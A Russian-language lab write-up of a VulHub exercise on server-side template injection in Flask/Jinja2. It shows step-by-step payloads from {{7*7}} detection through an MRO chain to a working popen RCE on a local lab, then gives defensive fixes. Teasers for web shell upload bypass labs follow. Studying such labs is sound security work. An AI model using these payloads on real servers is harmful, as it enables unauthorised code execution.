На странице
Server-Side Template Injection во Flask
Уязвимость
Server-Side Template Injection (SSTI) — уязвимость, при которой пользовательский ввод попадает в серверный шаблон без санитизации. Шаблонизатор исполняет ввод как код, что может привести к Remote Code Execution (RCE).
Flask использует Jinja2 в качестве шаблонизатора. Если разработчик подставляет пользовательские данные прямо в шаблон (вместо передачи через контекст), злоумышленник может выполнить произвольный Python-код на сервере.
Лаборатория
Источник: VulHub — Flask SSTI
Цель: Получить RCE через инъекцию в Jinja2-шаблон.
Поднимаем окружение:
docker compose up -d
Разведка
Стартовая страница — Hello guest:

Приложение принимает query-параметр name и отображает его в приветствии. Без параметра выводится guest. Проверим, попадает ли ввод в шаблон.
Детект SSTI
Стандартный тест — {{7*7}}:
http://localhost:8000/?name={{7*7}}

Сервер вернул 49 — значит выражение вычислилось. SSTI подтверждён.
Определение шаблонизатора
Разные шаблонизаторы по-разному обрабатывают {{7*'7'}}:
- Jinja2:
7777777(повторение строки) - Twig:
49(приведение к числу)
http://localhost:8000/?name={{7*'7'}}

Результат 7777777 — подтверждаем Jinja2.
MRO-цепочка
Jinja2 не даёт прямого доступа к os или import. Но в Python у каждого объекта есть метаданные о его классе. Через цепочку MRO (Method Resolution Order) можно добраться от любого объекта до модуля os.
Шаг 1: Класс строки
http://localhost:8000/?name={{"".__class__}}

Браузер «проглатывает» <class 'str'> как HTML-тег — смотрим через DevTools или View Source. Получили <class 'str'> — класс пустой строки.
Шаг 2: Базовый класс object
http://localhost:8000/?name={{"".__class__.__mro__[1]}}

Шаг 3: Все подклассы object
http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()}}
Через View Source видим огромный список — сотни классов:

Шаг 4: Поиск os._wrap_close
Нам нужен класс из модуля os — через его __globals__ мы получим доступ к popen. Ищем os._wrap_close через Ctrl+F в View Source:

Нашли. Теперь нужен его индекс в списке. Выделяем текст от начала списка до os._wrap_close, копируем и в Console считаем запятые:
"ВЫДЕЛЕННЫЙ_ТЕКСТ".split(',').length

В консоли получили 118 — это количество элементов. Но индексация в Python начинается с 0, поэтому индекс — 117.
Шаг 5: Глобалы модуля os
Проверяем, что через __init__.__globals__ мы получаем функции модуля os:
http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.keys()}}

Видим popen, system, listdir — весь модуль os доступен.
Эксплуатация
Собираем финальный payload. Логика цепочки:
''.__class__— класс строки (str).__mro__[1]— базовый класс (object).__subclasses__()[117]— классos._wrap_close.__init__.__globals__— глобалы модуляos['popen']('id')— запуск команды.read()— чтение вывода
http://localhost:8000/?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

uid=33(www-data) — команда id выполнена на сервере. RCE получен.
Вывод
Корневая причина — пользовательский ввод попадает напрямую в render_template_string() без санитизации. Jinja2 сам по себе не уязвим — проблема в том, как разработчик его использует.
Защита:
- Не подставлять ввод в шаблон — передавать данные через контекст:
render_template_string("Hello {{name}}", name=user_input) - Использовать песочницу —
jinja2.sandbox.SandboxedEnvironmentограничивает доступные атрибуты - Валидировать ввод — отсекать
{{,{%,__на уровне входных данных
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.